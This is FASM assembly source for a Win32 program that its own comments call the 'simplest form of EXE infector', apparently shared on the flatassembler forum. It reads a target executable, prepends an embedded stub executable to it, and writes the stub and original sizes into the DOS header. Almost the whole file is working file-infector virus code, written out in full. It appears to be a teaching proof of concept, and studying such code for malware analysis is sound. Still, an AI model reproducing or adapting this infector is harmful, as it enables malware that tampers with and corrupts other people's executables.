format pe gui 4.0

;~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^
;  typedef @ flatassembler.net
;^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~^~

;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
;
; Simplest form of EXE infector
;
; Now obviously this would never really be practical when the victim exe is like 4GB.
; One would check the size before reading into memory or simply map the file and walk the PE header.
;
;
; No error checking
;
;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

include 'win32ax.inc'

entry _init

section '.code' readable executable writeable

align 4

      _szFile		db   'victim_exe.exe',0
      _dwWritten	dd   ?
      _heap		dd   ?
      _title		db   'Infected victim_exe.exe',13,10,'Now run it and notice the size increased',0
_sizes:
      _OriginalSize	dd   ?
      _StubSize 	dd   _stub_size
_init:
      push	NULL
      push	FILE_ATTRIBUTE_NORMAL
      push	OPEN_EXISTING
      push	NULL
      push	NULL
      push	GENERIC_READ+GENERIC_WRITE
      push	_szFile
      call	[CreateFileA]
      mov	ebx,	eax

      ; Get File size
      push	 NULL
      push	 ebx
      call	 [GetFileSize]
      mov	 esi,	eax
      mov	 [_OriginalSize], esi

      ; Allocate enough memory to read exe
      call	 [GetProcessHeap]
      mov	 [_heap], eax

      push	 esi
      push	 0x00000008 ; HEAP_ZERO_MEMORY
      push	 eax
      call	 [HeapAlloc]
      mov	 edi,	eax

      ; Read victim EXE into memory
      push	 NULL
      push	 _dwWritten
      push	 esi
      push	 edi
      push	 ebx
      call	 [ReadFile]

      ; reset file pointer
      push	  FILE_BEGIN
      push	  0
      push	  0
      push	  ebx
      call	  [SetFilePointer]

      ; write our stub
      push	  NULL
      push	  _dwWritten
      push	  _stub_size
      push	  _stub_file
      push	  ebx
      call	  [WriteFile]

      ; write the original code
      push	  NULL
      push	  _dwWritten
      push	  esi
      push	  edi
      push	  ebx
      call	  [WriteFile]

      ; prepare to write stub size and original code size to DOS header
      push	  FILE_BEGIN
      push	  0
      push	  0x4E
      push	  ebx
      call	  [SetFilePointer]

      ; write size of stub and originalc EXE code
      push	  NULL
      push	  _dwWritten
      push	  8
      push	  _sizes
      push	  ebx
      call	  [WriteFile]

      ; set file pointer to new file size
      lea	  esi, dword[esi+_stub_size]

      push	  FILE_BEGIN
      push	  0
      push	  esi
      push	  ebx
      call	  [SetFilePointer]

      ; truncate the file
      push	  ebx
      call	  [SetEndOfFile]

      ; cleanup
      push	  ebx
      call	  [CloseHandle]

      push	  edi
      push	  NULL
      push	  [_heap]
      call	  [HeapFree]

      push	  0
      push	  0
      push	  _title
      push	  0
      call	  [MessageBoxA]

      push	  0
      call	  [ExitProcess]

      nop
      nop

_stub_file:
      file	 'stub.exe'
_stub_size = $ - _stub_file


section '.idata' import data readable

library user32,'user32.dll',\
	kernel32,'kernel32.dll'

include 'api/user32.inc'
include 'api/kernel32.inc'

